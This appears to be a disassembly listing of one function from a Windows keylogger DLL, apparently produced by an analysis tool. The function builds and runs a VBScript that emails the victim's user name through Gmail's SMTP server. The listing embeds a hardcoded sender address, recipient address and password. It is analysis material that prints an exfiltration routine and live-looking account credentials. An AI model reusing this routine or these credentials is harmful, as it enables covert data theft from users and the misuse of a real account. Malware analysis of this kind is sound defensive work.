Function at 0x18010649f
Capabilities:
Get session user name

Disassembly:
jmp 0x18012eaf0
push rbp
push rdi
sub rsp, 0x438
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x10e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov qword [rbp + 0x3e8], 0xfffffffffffffffe
mov rax, qword [0x1803bb0a8]
xor rax, rbp
mov qword [rbp + 0x3f8], rax
lea rcx, [0x1803e7045]
call fcn.18010520c
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r9d, 0x34
lea r8, [0x180335228]
lea rdx, [0x180335250]
mov rcx, rax
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 7
jne 0x18012eb9a
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r9d, 0x10
lea r8, [0x180334498]
lea rdx, [0x1803353e0]
mov rcx, rax
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, [0x180333dac]
xor ecx, ecx
call sym.Keylogger.dll_int___cdecl_EndProcess_int__char_const____ptr64_
xor ecx, ecx
call fcn.180105dfb
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r9d, 0x40
lea r8, [0x180335430]
lea rdx, [0x180335460]
mov rcx, rax
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [rbp + 4], eax
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r9d, 0x41
lea r8, [0x180335578]
lea rdx, [0x1803355a0]
mov rcx, rax
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 1
jne 0x18012f111
mov dword [rbp + 0x114], 0x14
lea rdx, [rbp + 0x114]
lea rcx, [rbp + 0x30]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov edx, 0x108
lea rcx, [rbp + 0x140]
call fcn.18010b37d
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, str.Contact_Administrator.vbs
lea rcx, [rbp + 0x140]
call fcn.1801070f7
nop
mov rax, qword [rbp + 0x140]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x140]
mov rcx, rax
call fcn.180109244
movzx eax, al
test eax, eax
je 0x18012f0df
lea rdx, str.Option_Explicit
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.On_Error_Resume_Next
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_FromAddress___CAIOS72410_gmail.com_
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_ToAddress___matsumotodaichi0922_gmail.com_
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_PassWord___matsumo9220_
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Dim_objMail_As_CDO.Message
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Set_objMail__CreateObject__CDO.Message__
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.objMail.From__FromAddress
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.objMail.To__ToAddress
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.objMail.Subject___
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [rbp + 0x30]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x180334b54]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.objMail.TextBody___
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_sendUsingLocalSmtp__1__sendUsingNetworkSmtp__2__sendUsingExchange__3
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_smtpAuthTypeBasic__1__smtpAuthTypeNTLM__2
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_gmailSmptSever___smtp.gmail.com_
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_gmailSmtpPortSSL__465__gmailSmtpPortTLS__587
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_strConfigurationField___http:__schemas.microsoft.com_cdo_configuration__
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.With_objMail.Configuration.Fields
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___sendusing____sendUsingNetworkSmtp
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___smtpserver____gmailSmptSever
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___smtpserverport____gmailSmtpPortSSL
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___smtpusessl____True
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___smtpauthenticate____smtpAuthTypeBasic
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___sendusername____FromAddress
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___sendpassword____PassWord
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___smtpconnectiontimeout____60
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Update
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.End_With
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Call_objMail.Send
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, [rbp + 0x140]
call fcn.18010a60d
lea rcx, [rbp + 0x140]
call fcn.18010c813
lea rcx, str.Contact_Administrator.vbs
call fcn.18010c313
mov r9d, 0x40
mov r8d, 2
lea rdx, str.Contact_Administrator.vbs
lea rcx, [rbp + 0x140]
call fcn.180105676
lea rdx, str.This_file_has_already_finished_its_work.
lea rcx, [rbp + 0x140]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, [rbp + 0x140]
call fcn.18010c813
lea rdx, str.Already_used.old
lea rcx, str.Contact_Administrator.vbs
call fcn.18010cf25
test eax, eax
jne 0x18012f0d3
lea rcx, str.Already_used.old
call fcn.18010b9ae
jmp 0x18012f0df
lea rcx, str.Contact_Administrator.vbs
call fcn.18010b9ae
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r9d, 0x40
lea r8, str.CAIOS
lea rdx, [0x1803356f0]
mov rcx, rax
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
lea rcx, [rbp + 0x140]
call fcn.180107f70
jmp 0x18012f134
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r9d, 0x40
lea r8, str.CAIOS
lea rdx, [0x180335760]
mov rcx, rax
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x180331598]
call fcn.18010bfdf
mov rax, rdi
mov rcx, qword [rbp + 0x3f8]
xor rcx, rbp
call fcn.180105df6
lea rsp, [rbp + 0x408]
pop rdi
pop rbp
ret